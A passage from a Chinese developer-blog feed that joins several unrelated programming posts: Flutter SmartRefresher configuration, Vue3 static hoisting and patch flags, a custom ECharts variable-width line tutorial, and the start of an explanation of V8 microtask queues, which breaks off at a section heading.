全局配置

使用 RefreshConfiguration 为子树中的所有 SmartRefresher 提供全局配置:

RefreshConfiguration(
  headerBuilder: () => const ClassicHeader(),
  footerBuilder: () => const ClassicFooter(),
  headerTriggerDistance: 80.0,
  footerTriggerDistance: 15.0,
  springDescription: const SpringDescription(
    mass: 1.0,
    stiffness: 364.72,
    damping: 35.2,
  ),
  enableScrollWhenRefreshCompleted: true,
  enableLoadingWhenFailed: true,
  enableBallisticLoad: true,
  child: MaterialApp(
    home: YourHomePage(),
  ),
)

配置参数说明

参数 类型 默认值 说明
headerBuilder IndicatorBuilder? - 全局默认 Header 构建器
footerBuilder IndicatorBuilder? - 全局默认 Footer 构建器
headerTriggerDistance double 80.0 触发刷新的距离
footerTriggerDistance double 15.0 触发加载的距离
dragSpeedRatio double 1.0 拖动速度比例
maxOverScrollExtent double? - 最大过度滚动距离
maxUnderScrollExtent double? - 最大不足滚动距离
enableScrollWhenRefreshCompleted bool false 刷新完成回弹时是否允许滚动
enableLoadingWhenFailed bool true 失败状态下是否允许加载
enableLoadingWhenNoData bool false 无数据状态下是否允许加载
enableBallisticLoad bool true 是否通过 BallisticScrollActivity 触发加载
enableSmartPreload bool true 是否启用智能预加载
hideFooterWhenNotFull bool false 内容不满一页时是否隐藏 Footer

状态枚举

RefreshStatus(刷新状态)

状态 说明
idle 初始状态,未被拖动
canRefresh 拖动距离足够,释放后将触发刷新
refreshing 刷新中
completed 刷新完成
failed 刷新失败

LoadStatus(加载状态)

状态 说明
idle 初始状态,可以触发加载
canLoading 拖动距离足够,释放后将触发加载
loading 加载中
noMore 没有更多数据
failed 加载失败

刷新样式

RefreshStyle(Header 显示样式)

样式 说明
follow 指示器始终跟随内容移动
unFollow 指示器跟随内容移动,到达顶部后不再跟随
behind 指示器大小随边界距离缩放,显示在内容后面
front 类似 Flutter 原生 RefreshIndicator,显示在内容上方

LoadStyle(Footer 显示样式)

样式 说明
showAlways 始终占据布局范围
hideAlways 始终不占据布局范围
showWhenLoading 仅在加载状态下占据布局范围

注意事项

  1. 必须结束状态:在 onRefreshonLoading 回调中,必须调用相应的结束方法(如 refreshCompleted()loadComplete()),否则会一直保持刷新或加载状态。

  2. Controller 生命周期:记得在 dispose() 方法中调用 _refreshController.dispose() 释放资源。

  3. 一个 Controller 对应一个 SmartRefresher:不要将同一个 RefreshController 用于多个 SmartRefresher,这会导致意外错误。

  4. 避免嵌套滚动:如果 child 内部包含可滚动组件,建议使用 CustomScrollView 或 SmartRefresher.builder 构造函数。

常见问题

1. 刷新/加载状态无法结束?

确保在 onRefreshonLoading 回调中调用了相应的结束方法。

2. 如何禁用下拉刷新或上拉加载?

设置 enablePullDown: falseenablePullUp: false

3. 如何手动触发刷新?

调用 _refreshController.requestRefresh() 方法。

4. 如何显示"没有更多数据"?

调用 _refreshController.loadNoData() 方法。

5. 如何重置"没有更多数据"状态?

调用 _refreshController.resetNoData() 方法。

AST转换:静态提升与补丁标志

作者 wuhen_n
2026年3月2日 13:25

在上一篇文章中,我们学习了模板编译的三个阶段。今天,我们将深入AST转换阶段的核心优:静态提升补丁标志。这两个优化是 Vue3 性能大幅提升的关键,它们让 Vue 在运行时能够跳过大量不必要的比较,实现精准更新。

前言:从一次渲染说起

想象一下,我们正在读一本电子书:这其中 99% 的内容是固定的,只有 1% 的页码会变化,这时候我们会怎么做:

  • 普通方式:每次变化时,重读整本书(Vue2的方式)
  • 优化方式:只重新读变化的页码(Vue3的方式)

这就是静态提升和补丁标志的核心思想:标记不变的内容,跳过重复工作。

静态节点标记(PatchFlags)

什么是补丁标志?

补丁标志是一个位掩码,用来标记节点的动态内容类型。它告诉渲染器:这个节点哪些部分是需要关注的变化点。

Vue3 中定义了丰富的补丁标志:

const PatchFlags = {
  TEXT: 1,                    // 动态文本内容
  CLASS: 1 << 1,              // 动态 class
  STYLE: 1 << 2,              // 动态 style
  PROPS: 1 << 3,              // 动态属性
  FULL_PROPS: 1 << 4,         // 全量比较
  HYDRATE_EVENTS: 1 << 5,     // 事件监听
  STABLE_FRAGMENT: 1 << 6,    // 稳定 Fragment
  KEYED_FRAGMENT: 1 << 7,     // 带 key 的 Fragment
  UNKEYED_FRAGMENT: 1 << 8,   // 无 key 的 Fragment
  NEED_PATCH: 1 << 9,         // 需要非 props 比较
  DYNAMIC_SLOTS: 1 << 10,     // 动态插槽
  
  HOISTED: -1,                // 静态提升节点
  BAIL: -2                    // 退出优化
};

位掩码的作用

位掩码可以用一个数字表示多个标记,以上述补丁标志为例,如果一个节点既有动态 class,又有动态 style,该怎么处理:

// 组合标记:class和style都是动态的
const combined = CLASS | STYLE;  // 110 = 6

动态内容的识别

编译器是如何识别哪些内容是动态的?其实编译器也是根据补丁标志来进行判断处理的,例如以下模板示例:

<div 
  class="static" 
  :class="dynamicClass"
  :style="dynamicStyle"
  id="static-id"
>
  <h1>静态标题</h1>
  <p>{{ dynamicText }}</p>
  <button @click="handler">点击</button>
</div>

通过编译后的标记:

// 编译后的标记
function render(ctx) {
  return createVNode('div', {
    class: ['static', ctx.dynamicClass],  // class部分是动态的
    style: ctx.dynamicStyle,               // style是动态的
    id: 'static-id'                        // id是静态的
  }, [
    createVNode('h1', null, '静态标题'),    // 完全静态
    createVNode('p', null, ctx.dynamicText, PatchFlags.TEXT),  // 只有文本动态
    createVNode('button', { 
      onClick: ctx.handler 
    }, '点击', PatchFlags.EVENTS)           // 只有事件动态
  ], PatchFlags.CLASS | PatchFlags.STYLE);  // div的class和style动态
}

如果没有标记,说明是静态节点,什么都不用做。

静态提升(HoistStatic)

静态提升的原理

静态提升是将完全静态的节点提取到渲染函数之外,避免每次渲染都重新创建,还是以上一节的代码为例:

const _hoisted_1 = createVNode('h1', null, '静态标题', PatchFlags.HOISTED);

function render(ctx) {
  return createVNode('div', null, [
    _hoisted_1,  // 直接复用
    createVNode('p', null, ctx.dynamicText, PatchFlags.TEXT)
  ]);
}

静态节点的判定规则

当一个节点同时满足以下条件时,这时我们就判定它为静态节点

  1. 没有动态绑定:不存在双向绑定 v-model(简写:)、v-bindv-on
  2. 没有指令:不存在 v-ifv-forv-slot 等指令
  3. 没有插值:不存在 {{ }} 等插值语句
  4. 所有子节点也都是静态的

静态提升的深度

Vue3 不仅提升顶层静态节点,还会提升深层静态节点:

<template>
  <div>
    <div>  <!-- 这个div不是静态的,因为它有动态子节点 -->
      <span>完全静态</span>  <!-- 但这个span是静态的,会被提升 -->
      <span>{{ text }}</span>
    </div>
    <div class="static">  <!-- 这个div是静态的,会被提升 -->
      <span>静态1</span>
      <span>静态2</span>
    </div>
  </div>
</template>

动态节点收集

Block的概念

Block 是Vue3中一个重要的优化概念,它会收集当前模板中的所有动态节点。通常情况下,我们会约定组件模版的根节点作为 Block 角色,从根节点开始,所有动态子代节点都会被收集到根节点的 dynamicChildren 数组中,以此来形成一颗 Block Tree

到了这里,也许会有人问:如果我的 Vue 组件模板中,都是静态节点,不存在动态节点呢? 这种情况也是存在的,这种情况下,就只存在根节点一个 Block,无法形成树,因此也不用额外处理。

Block Tree

Block 会收集所有后代动态节点,形成动态节点树 Block Tree。我们来看下面一个模板代码示例:

<div>  <!-- 这是Block -->
  <span>静态</span>
  <p :class="dynamic">动态1</p>
  <div>
    <span>静态</span>
    <span>{{ text }}</span>  <!-- 动态2 -->
  </div>
</div>

这段代码完整转成树形结构应该是这样的: 完整树形结构 只收集动态节点,形成的动态节点树: 动态节点树结构

更新时的优化

有了动态节点树,更新时只需要遍历 dynamicChildren

function patchChildren(oldNode, newNode, container) {
  if (newNode.dynamicChildren) {
    // 只更新动态节点
    for (let i = 0; i < newNode.dynamicChildren.length; i++) {
      patch(
        oldNode.dynamicChildren[i],
        newNode.dynamicChildren[i],
        container
      );
    }
  } else {
    // 没有动态节点,说明是完全静态,什么都不用做
  }
}

节点转换器的设计

转换器的整体架构

/**
 * AST转换器
 */
class ASTTransformer {
  constructor(ast, options = {}) {
    this.ast = ast;
    this.options = options;
    this.context = {
      currentNode: null,
      parent: null,
      staticNodes: new Set(),
      dynamicNodes: new Set(),
      patchFlags: new Map(),
      hoisted: [],        // 提升的静态节点
      replaceNode: (node) => {
        // 替换当前节点
      },
      removeNode: () => {
        // 删除当前节点
      }
    };
  }
  
  /**
   * 执行转换
   */
  transform() {
    // 1. 遍历AST,标记静态节点
    this.traverse(this.ast);
    
    // 2. 计算补丁标志
    this.computePatchFlags();
    
    // 3. 提取静态节点
    this.hoistStatic();
    
    return this.ast;
  }
  
  /**
   * 遍历AST
   */
  traverse(node, parent = null) {
    if (!node) return;
    
    this.context.currentNode = node;
    this.context.parent = parent;
    
    // 应用所有转换插件
    for (const plugin of this.plugins) {
      plugin(node, this.context);
    }
    
    // 递归处理子节点
    if (node.children) {
      for (const child of node.children) {
        this.traverse(child, node);
      }
    }
  }
}

静态节点检测插件

/**
 * 静态节点检测插件
 */
const detectStaticPlugin = (node, context) => {
  if (node.type === 'Element') {
    // 检查是否有动态绑定
    const hasDynamic = checkDynamic(node);
    
    if (!hasDynamic) {
      // 检查所有子节点
      const childrenStatic = node.children?.every(child => 
        context.staticNodes.has(child) || child.type === 'Text'
      ) ?? true;
      
      if (childrenStatic) {
        context.staticNodes.add(node);
        node.isStatic = true;
      }
    }
  } else if (node.type === 'Text') {
    // 文本节点默认是静态的
    node.isStatic = true;
  }
};

/**
 * 检查节点是否包含动态内容
 */
function checkDynamic(node) {
  if (!node.props) return false;
  
  for (const prop of node.props) {
    // 检查指令
    if (prop.name.startsWith('v-') || prop.name.startsWith('@') || prop.name.startsWith(':')) {
      return true;
    }
    
    // 检查动态属性值
    if (prop.value && prop.value.includes('{{')) {
      return true;
    }
  }
  
  return false;
}

补丁标志计算插件

/**
 * 补丁标志计算插件
 */
const patchFlagPlugin = (node, context) => {
  if (node.type !== 'Element' || node.isStatic) return;
  
  let patchFlag = 0;
  const dynamicProps = [];
  
  if (node.props) {
    for (const prop of node.props) {
      if (prop.name === 'class' && isDynamic(prop)) {
        patchFlag |= PatchFlags.CLASS;
        dynamicProps.push('class');
      } else if (prop.name === 'style' && isDynamic(prop)) {
        patchFlag |= PatchFlags.STYLE;
        dynamicProps.push('style');
      } else if (prop.name.startsWith('@')) {
        patchFlag |= PatchFlags.EVENTS;
        dynamicProps.push(prop.name.slice(1));
      } else if (prop.name.startsWith(':')) {
        patchFlag |= PatchFlags.PROPS;
        dynamicProps.push(prop.name.slice(1));
      }
    }
  }
  
  // 检查文本内容
  if (node.children) {
    for (const child of node.children) {
      if (child.type === 'Interpolation') {
        patchFlag |= PatchFlags.TEXT;
        break;
      }
    }
  }
  
  if (patchFlag) {
    node.patchFlag = patchFlag;
    node.dynamicProps = dynamicProps;
    context.dynamicNodes.add(node);
  }
};

/**
 * 判断属性是否为动态
 */
function isDynamic(prop) {
  return prop.value && (
    prop.value.includes('{{') ||
    prop.value.startsWith('_ctx.') ||
    prop.value.includes('$event')
  );
}

静态提升插件

/**
 * 静态提升插件
 */
const hoistStaticPlugin = (node, context) => {
  if (node.type === 'Element' && node.isStatic) {
    // 生成唯一的变量名
    const hoistName = `_hoisted_${context.hoisted.length + 1}`;
    
    // 存储到提升列表
    context.hoisted.push({
      name: hoistName,
      node: node
    });
    
    // 替换为变量引用
    const replacement = {
      type: 'HoistReference',
      name: hoistName,
      original: node
    };
    
    context.replaceNode(replacement);
  }
};

/**
 * 生成提升的代码
 */
function generateHoisted(hoisted) {
  let code = '';
  
  for (const { name, node } of hoisted) {
    code += `\nconst ${name} = createVNode(`;
    code += `'${node.tag}', `;
    code += generateProps(node.props);
    code += `, ${generateChildren(node.children)}`;
    code += `, PatchFlags.HOISTED);\n`;
  }
  
  return code;
}

常量提升原理

常量的识别

除了静态节点外,常量表达式也会被提升,我们来看下面一个模板示例:

<div>
  <p>{{ 1 + 2 }}</p>  <!-- 常量表达式 -->
</div>

{{ 1 + 2 }} 是一个常量表达式,它在编译时,也会提升:

const _hoisted_1 = 1 + 2;  // 常量表达式提升

function render(ctx) {
  return createVNode('div', null, [
    createVNode('p', null, _hoisted_1, PatchFlags.TEXT),
    createVNode('p', null, ctx.message, PatchFlags.TEXT)
  ]);
}

常量检测的实现

/**
 * 常量检测插件
 */
const constantDetectPlugin = (node, context) => {
  if (node.type === 'Interpolation') {
    // 检查表达式是否为常量
    if (isConstantExpression(node.content)) {
      node.isConstant = true;
      
      // 生成常量名
      const constantName = `_constant_${context.constants.length + 1}`;
      context.constants.push({
        name: constantName,
        value: node.content
      });
      
      // 替换为常量引用
      context.replaceNode({
        type: 'ConstantReference',
        name: constantName
      });
    }
  }
};

/**
 * 判断表达式是否为常量
 */
function isConstantExpression(expr) {
  // 简单判断:只包含字面量和算术运算符
  const constantPattern = /^[\d\s\+\-\*\/\(\)]+$/;
  return constantPattern.test(expr);
}

缓存内联事件处理函数

事件处理函数的问题

在 JavaScript 中,每次重新渲染都会创建新的函数,如以下模板示例:

<template>
  <button @click="() => count++">点击</button>
</template>

在每次渲染时,都会创建新函数:

function render(ctx) {
  return createVNode('button', {
    onClick: () => ctx.count++  // 每次都不同
  }, '点击');
}

这么处理会有什么问题呢?在每次渲染时,都会为 button 创建一个全新的事件处理对象,里面的 onClick 也会是一个全新的函数。这就会导致渲染器每次渲染都会进行一次更新,造成额外的性能浪费。

事件缓存机制

为了解决上述问题,Vue3 采用了事件缓存机制,对内联事件处理函数进行缓存:

function render(ctx, _cache) {
  return createVNode('button', {
    onClick: _cache[0] || (_cache[0] = ($event) => ctx.count++)
  }, '点击');
}

缓存插件的实现

/**
 * 事件缓存插件
 */
const cacheEventHandlerPlugin = (node, context) => {
  if (node.type === 'Element' && node.props) {
    let cacheIndex = 0;
    
    for (let i = 0; i < node.props.length; i++) {
      const prop = node.props[i];
      
      if (prop.name.startsWith('@') || prop.name === 'onClick') {
        // 生成缓存代码
        const eventName = prop.name.replace(/^@|^on/, '').toLowerCase();
        const handler = prop.value;
        
        prop.cached = true;
        prop.cacheIndex = cacheIndex++;
        prop.cachedCode = `_cache[${prop.cacheIndex}] || (_cache[${prop.cacheIndex}] = $event => ${handler})`;
      }
    }
  }
};

/**
 * 生成事件缓存代码
 */
function generateEventCode(node, context) {
  if (!node.props) return 'null';
  
  const propsObj = {};
  
  for (const prop of node.props) {
    if (prop.cached) {
      // 使用缓存
      propsObj[prop.name] = prop.cachedCode;
    } else {
      // 普通属性
      propsObj[prop.name] = prop.value;
    }
  }
  
  return JSON.stringify(propsObj);
}

结语

静态提升和补丁标志是 Vue3 性能优化的两大法宝,它们让 Vue 能够在运行时精准地只更新变化的部分。理解这些优化,不仅帮助我们写出更高效的代码,也让我们对 Vue 的设计哲学有更深的理解。

对于文章中错误的地方或有任何疑问,欢迎在评论区留言讨论!

当 ECharts 遇上数学:一个程序员的"曲线救国"之路

2026年3月2日 13:06

前言:有一天,老板跟我说"做个图表,要能看出数据大小,还要好看"。我心想:这不简单?结果...


第一步:先把"舞台"搭起来

<input type="button" value="折线" id="b1">
<input type="button" value="曲线" id="b2">
<input type="button" value="垂直" id="b3">
<div id="chart-container" style="position: relative;height: 90vh;overflow: hidden;"></div>
<script src="https://fastly.jsdelivr.net/npm/echarts@5.4.2/dist/echarts.min.js"></script>

第二步:准备一些"数学武器"

在开始画图之前,我需要准备几个数学函数。别怕,虽然看起来很吓人,但你有思路啥公式你都可以交给AI实现

武器一:Catmull-Rom 曲线生成器

function getCatmullRomPoints(points, numOfPoints) {
    const crPoints = [];

    for (let i = 0; i < points.length - 1; i++) {
        const p0 = points[i - 1] || points[i];
        const p1 = points[i];
        const p2 = points[i + 1];
        const p3 = points[i + 2] || p2;

        for (let t = 0; t < numOfPoints; t++) {
            const tScaled = t / numOfPoints;
            const t2 = tScaled * tScaled;
            const t3 = t2 * tScaled;

            // Catmull-Rom公式 —— 别问我为什么,抄的
            const x = 0.5 * ((2 * p1.x) + (-p0.x + p2.x) * tScaled + 
                             (2 * p0.x - 5 * p1.x + 4 * p2.x - p3.x) * t2 + 
                             (-p0.x + 3 * p1.x - 3 * p2.x + p3.x) * t3);
            const y = 0.5 * ((2 * p1.y) + (-p0.y + p2.y) * tScaled + 
                             (2 * p0.y - 5 * p1.y + 4 * p2.y - p3.y) * t2 + 
                             (-p0.y + 3 * p1.y - 3 * p2.y + p3.y) * t3);

            crPoints.push({x, y});
        }
    }

    return crPoints;
}

这是整个项目里最核心的函数。它能把几个离散的点变成一条丝滑的曲线。

原理是什么?我大概理解是:每个点都受前后几个点的影响,通过某种"神秘"的插值计算,生成中间的过渡点。反正能用就行

武器二:宽度插值

function interpolateWidth(startWidth, endWidth, t) {
    return startWidth + (endWidth - startWidth) * t;
}

这个简单!就是线性插值,让宽度从起点到终点平滑变化。

武器三:计算切线方向

function getTangent(p1, p2) {
    return Math.atan2(p2.y - p1.y, p2.x - p1.x);
}

Math.atan2 是个好东西,它能根据 Y 和 X 的差值算出角度。高中数学终于派上用场了


第三步:开始画图——三种模式

模式一:曲线(最复杂,先说它)

function drawVariableWidthCurve(ctx, points) {
    const numOfPointsPerSegment = 100; // 每段插值点数
    const crPoints = getCatmullRomPoints(points, numOfPointsPerSegment);
    const totalPoints = crPoints.length;

    const upperPath = []; // 上边界
    const lowerPath = []; // 下边界

    for (let i = 0; i < totalPoints; i++) {
        const p = crPoints[i];
        const t = i / (totalPoints - 1);
        const width = interpolateWidth(points[0].width, points[points.length - 1].width, t);

        // 计算前后点以获取切线
        const pPrev = crPoints[i > 0 ? i - 1 : i];
        const pNext = crPoints[i < totalPoints - 1 ? i + 1 : i];
        const angle = getTangent(pPrev, pNext);

        // 计算垂直方向(切线方向 + 90度)
        const perpendicular = angle + Math.PI / 2;
        const offsetX = Math.cos(perpendicular) * (width / 2);
        const offsetY = Math.sin(perpendicular) * (width / 2);

        // 上边界和下边界点
        upperPath.push({x: p.x + offsetX, y: p.y + offsetY});
        lowerPath.push({x: p.x - offsetX, y: p.y - offsetY});
    }

    // 开始绘制路径
    ctx.beginPath();
    ctx.moveTo(upperPath[0].x, upperPath[0].y);
    for (let i = 1; i < upperPath.length; i++) {
        ctx.lineTo(upperPath[i].x, upperPath[i].y);
    }
    // 绘制下边界(反向)
    for (let i = lowerPath.length - 1; i >= 0; i--) {
        ctx.lineTo(lowerPath[i].x, lowerPath[i].y);
    }
    ctx.closePath();
}

核心思路

  1. 先用 Catmull-Rom 生成曲线上的所有点
  2. 对每个点,计算它的切线方向
  3. 在垂直于切线的方向上,根据宽度往两边扩展
  4. 把所有上边界点连起来,再把下边界点反向连回去
  5. 闭合路径,填充颜色

模式二:折线(简单版)

function drawLine(ctx, points) {
    const numOfPointsPerSegment = 100;
    let pathPoints = [];
    
    // 对直线生成插值点(比曲线简单,直接线性插值)
    for (let i = 0; i < points.length - 1; i++) {
        const p1 = points[i];
        const p2 = points[i + 1];
        for (let t = 0; t <= numOfPointsPerSegment; t++) {
            const tScaled = t / numOfPointsPerSegment;
            const x = p1.x + (p2.x - p1.x) * tScaled;
            const y = p1.y + (p2.y - p1.y) * tScaled;
            pathPoints.push({x, y});
        }
    }
    
    // 后面的逻辑和曲线一样...
    // 省略,因为完全一样
}

折线模式其实就是曲线模式的"简化版"。区别在于:

  • 曲线用 Catmull-Rom 插值
  • 折线用线性插值

为什么折线也要插值? 因为宽度要变化啊!不插值的话,宽度变化会很生硬。

模式三:垂直线(最诡异)

function drawH(ctx, points) {
    let upperPath = [];
    let lowerPath = [];
    
    for (let i = 0; i < points.length; i++) {
        const curP = points[i]
        const r1 = curP.width / 2
        
        if (i === 0) {
            upperPath.push({x: curP.x, y: curP.y + r1})
            lowerPath.push({x: curP.x, y: curP.y - r1})
        }
        
        const nextP = points[i + 1]
        if (nextP && curP.y !== nextP.y) {
            const r2 = nextP.width / 2
            const d = (r2 - r1) / 2
            const isLast = ((i + 1) === points.length - 1)
            
            if (nextP.y > curP.y) {
                // 下一个点比当前点高
                upperPath.push({x: nextP.x - r2 + d, y: curP.y + r1 + d})
                lowerPath.push({x: nextP.x + r2 - d, y: curP.y - r1 - d})
                upperPath.push({x: nextP.x - r2, y: isLast ? nextP.y : (nextP.y + r2)})
                lowerPath.push({x: nextP.x + r2, y: isLast ? nextP.y : (nextP.y - r2)})
            } else {
                // 下一个点比当前点低
                upperPath.push({x: nextP.x + r2 - d, y: curP.y + r1 + d})
                lowerPath.push({x: nextP.x - r2 + d, y: curP.y - r1 - d})
                upperPath.push({x: nextP.x + r2, y: isLast ? nextP.y : (nextP.y + r2)})
                lowerPath.push({x: nextP.x - r2, y: isLast ? nextP.y : (nextP.y - r2)})
            }
        } else if (nextP && nextP.y === curP.y) {
            // 同一水平线
            const r2 = nextP.width / 2
            upperPath.push({x: nextP.x, y: nextP.y + r2})
            lowerPath.push({x: nextP.x, y: nextP.y - r2})
        }
    }
    
    // 绘制路径
    ctx.beginPath();
    ctx.moveTo(upperPath[0].x, upperPath[0].y);
    for (const p of upperPath) {
        ctx.lineTo(p.x, p.y);
    }
    for (let i = lowerPath.length - 1; i >= 0; i--) {
        const p = lowerPath[i];
        ctx.lineTo(p.x, p.y);
    }
    ctx.closePath();
    ctx.fill();
}

这个函数的逻辑... 怎么说呢,写完我自己都快看不懂了

核心思想是:每个点之间用垂直线连接,但宽度会变化,所以需要计算"过渡区域"。那个 d = (r2 - r1) / 2 就是用来处理宽度差异的。

为什么这么复杂? 因为要考虑各种情况:

  • 下一个点比当前点高
  • 下一个点比当前点低
  • 两个点在同一水平线
  • 是最后一个点

写这个函数的时候,我画了整整一张流程图...


第四步:注册自定义图形

const newRenderShape = echarts.graphic.extendShape({
    buildPath: (ctx, shape) => {
        const {points, isLast, type} = shape
        if (isLast) {
            if (type === 1) {
                drawLine(ctx, points)      // 直男折线
            } else if (type === 2) {
                drawVariableWidthCurve(ctx, points)  // 温柔曲线
            } else if (type === 3) {
                drawH(ctx, points)         // 诡异垂直线
            }
        }
    }
})

echarts.graphic.registerShape('newRenderShape', newRenderShape);

这段代码把我们的绘制函数"注册"到 ECharts 里,让它知道怎么画我们的自定义图形。

关键点isLast 的判断很重要!因为 ECharts 会为每个数据点调用一次 buildPath,如果不判断,同样的线条会被画 N 次!

// params来源于series项type为custom时的renderItem函数
const isLast = params.dataIndex === params.dataInsideLength - 1

第五步:准备数据

let rArr = [10, 20, 25, 30, 35]  // 预设的半径档位

let data1 = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']  // X轴标签
let data2 = [500, 23, 224, 290, 290, 147, 260]  // Y轴数据
let data3 = [300, 300, 300, 456, 456, 231, 897]  // 用于计算大小的数据

let cc = ['red', 'orange', 'yellow', 'green', 'blue', 'purple', 'red']  // 颜色

// 把原始数据映射到预设的半径档位
let newRArr = getCircleR(data3)

function getCircleR(arr) {
    let max = Math.max(...arr)
    let min = Math.min(...arr)
    let intervalWidth = (max - min) / 5
    let intervalArr = [
        min + intervalWidth,
        min + intervalWidth * 2,
        min + intervalWidth * 3,
        min + intervalWidth * 4,
        max
    ]
    return arr.map(r => {
        for (let i = 0; i < intervalArr.length; i++) {
            if (r <= intervalArr[i]) {
                return rArr[i]
            }
        }
    })
}

// 组装最终数据
let data4 = []
let data5 = []
data1.forEach((v, index) => {
    data4.push([v, data2[index], newRArr[index], cc[index]])
})
data1.forEach((v, index) => {
    data5.push([v, data2[index] / 2, newRArr[index], cc[index]])
})

数据格式是 [x轴值, y轴值, 大小, 颜色]

为什么要分档? 因为如果不分档,数据差异太大的时候,有的点会大得像太阳,有的点会小到看不见。


第六步:初始化图表

var dom = document.getElementById('chart-container');
var myChart = echarts.init(dom, null, {
    renderer: 'canvas',
    useDirtyRect: false  // 关闭脏矩形渲染,确保自定义图形正确绘制
});

useDirtyRect: false 这个配置很重要!如果开启脏矩形渲染,自定义图形可能会出现奇怪的残影。


第七步:配置图表选项

option = {
    grid: [
        {left: 120, height: 200, bottom: 300},  // 上面的图表
        {left: 120, height: 200, bottom: 20},   // 下面的图表
    ],
    xAxis: [
        {gridIndex: 0, type: 'category', data: data1},
        {gridIndex: 1, type: 'category', data: data1}
    ],
    yAxis: [
        {gridIndex: 0, type: 'value'},
        {gridIndex: 1, type: 'value'}
    ],
    tooltip: {
        trigger: 'item',
        formatter: function(params) {
            return `${params.data[0]}:${params.data[1]}<br />大小:${params.data[2]}`
        }
    },
    series: [
        // 上面的图表:散点 + 自定义线条
        {
            yAxisIndex: 0, xAxisIndex: 0,
            type: 'scatter',
            symbol: 'circle',
            symbolSize: function(data) {
                return data[2] * 0.4 * 2;  // 根据大小调整圆的尺寸
            },
            itemStyle: {
                color: '#000',
                borderColor: 'rgba(255, 255, 255, 1)',
                borderWidth: 4,
            },
            data: data4,
            animation: false,
            label: {show: true, formatter: '{b}', position: 'top'}
        },
        {
            yAxisIndex: 0, xAxisIndex: 0,
            type: 'custom',
            renderItem: renderItem,
            data: data4,
            tooltip: {show: false},
        },
        // 下面的图表:散点 + 自定义线条
        // ... 类似配置
    ]
};

myChart.setOption(option)

这里有两个 grid,每个 grid 里有两组 series:一组是散点(显示数据点),一组是自定义(显示连接线)。

为什么散点和线条分开? 因为散点需要显示 tooltip,而线条不需要。分开控制更灵活。


第八步:核心渲染函数

function renderItem(params, api) {
    // 把数据坐标转换成像素坐标
    var start = api.coord([api.value(0), api.value(1)]);
    var color = api.value(3)
    var r1 = api.value(2) * 0.15  // 缩放半径
    
    const obs = {
        x: start[0],
        y: start[1],
        width: r1 * 2,
        color,
    }
    
    // 把所有点收集起来
    if (params.context.points) {
        params.context.points.push(obs)
    } else {
        params.context.points = [obs]
    }
    
    const isLast = params.dataIndex === params.dataInsideLength - 1
    let gradient
    
    if (isLast) {
        // 创建渐变色填充样式
        gradient = new echarts.graphic.LinearGradient(0, 0, 1, 1);
        for (let i = 0; i < params.context.points.length; i++) {
            gradient.addColorStop(i / (params.context.points.length - 1), params.context.points[i].color);
        }
    }
    
    return {
        type: 'newRenderShape',
        shape: {
            points: params.context.points,
            isLast,
            type,  // 全局变量,控制绘制模式
        },
        style: {
            fill: gradient ? gradient : '#000000'
        }
    }
}

这个函数是 ECharts 自定义图形的核心。它会被每个数据点调用一次,每次调用时:

  1. 把当前点的信息收集到 params.context.points
  2. 如果是最后一个点,创建渐变色
  3. 返回自定义图形的配置

第九步:添加交互

let type = 1  // 默认折线模式

for (let i = 1; i <= 3; i++) {
    let btn = document.querySelector('#b' + i)
    btn.addEventListener('click', () => {
        type = i
        myChart.resize()  // 触发重绘
    })
}

window.addEventListener('resize', myChart.resize);

三个按钮,分别切换三种模式。点击后改变 type 变量,然后调用 resize() 触发重绘。


总结:从零到一的实现过程

  1. 搭建舞台:HTML 结构 + 引入 ECharts
  2. 准备武器:数学函数(插值、切线计算等)
  3. 实现绘制:三种模式的绘制函数
  4. 注册图形:把绘制函数"告诉" ECharts
  5. 准备数据:数据映射和组装
  6. 配置图表:grid、axis、series
  7. 核心渲染:renderItem 函数
  8. 添加交互:按钮切换模式

整个过程就像搭积木,一块一块往上堆。虽然中间踩了很多坑,但最终效果还是很满意的。


最后的话

写这个图表的过程,让我深刻体会到:

  • 数学真的很重要:虽然可以抄公式,但理解原理才能灵活运用
  • Canvas 很强大:只要你想得到,它就能画出来
  • ECharts 很灵活:自定义图形功能让一切皆有可能
  • 调试是常态:不调试个几十次,都不好意思说自己写过代码

如果你也想尝试自定义 ECharts 图表,我的建议是:别怕麻烦,大胆尝试,多查文档,善用调试工具

最后,附上一句我调试时的内心独白:

"这代码能跑? 能跑就别动它!"


P.S. 如果你发现代码里有 bug,那一定是 feature,不是我写错了 😅

从 V8 引擎视角理解微任务与宏任务

作者 charmson
2026年3月2日 12:28

一、V8 引擎的基本架构

V8 是 Google 开发的开源 JavaScript 引擎,用于 Chrome 和 Node.js 中。

┌─────────────────────────────────────────────────────┐
│                    V8 引擎                           │
│  ┌──────────────┐     ┌─────────────────────────┐  │
│  │  调用栈        │     │  微任务队列(V8 原生维护)  │  │
│  │  Call Stack  │     │    MicrotaskQueue       │  │
│  └──────────────┘     └─────────────────────────┘  │
└─────────────────────────────────────────────────────┘
         │ 协作
         ▼
┌─────────────────────────────────────────────────────┐
│              宿主环境(浏览器 / Node.js)               │
│  ┌──────────────────────────────────────────────┐   │
│  │       宏任务队列 + 事件循环 Event Loop          │   │
│  └──────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────┘

关键点:微任务队列由 V8 原生维护,宏任务队列和事件循环由宿主环境实现(浏览器的 Chromium / Node.js 的 libuv)。


二、微任务队列:V8 源码视角

2.1 MicrotaskQueue 的数据结构

V8 源码 src/execution/microtask-queue.h 中定义了微任务队列:

// src/execution/microtask-queue.h(精简)
class MicrotaskQueue {
 public:
  void EnqueueMicrotask(Microtask microtask);  // 入队
  int  RunMicrotasks(Isolate* isolate);        // 清空执行

 private:
  intptr_t* ring_buffer_;  // 底层:环形缓冲区(入队/出队 O(1))
  intptr_t  capacity_;     // 容量
  intptr_t  size_;         // 当前任务数
  intptr_t  start_;        // 队头指针
};

关键设计:底层用环形缓冲区而非普通数组,入队/出队都是 O(1),避免频繁内存分配。


2.2 RunMicrotasks:微任务是怎么执行的

src/execution/microtask-queue.cc 中的核心执行逻辑:

// src/execution/microtask-queue.cc(精简关键逻辑)
int MicrotaskQueue::RunMicrotasks(Isolate* isolate) {
  while (size_ > 0) {           // ← 循环直到队列彻底为空
    Microtask task = GetMicrotask(isolate, start_);
    start_++;
    size_--;
    MicrotaskV8Task(isolate, task).Call(isolate);
    // 执行过程中新入队的微任务会使 size_ 变大,循环继续
  }
  return 0;
}

这段代码直接解释了一个重要行为:微任务执行期间产生的新微任务,会在本轮一并清空——因为 while (size_ > 0) 会持续检测队列是否为空。


2.3 微任务的触发时机:Checkpoint

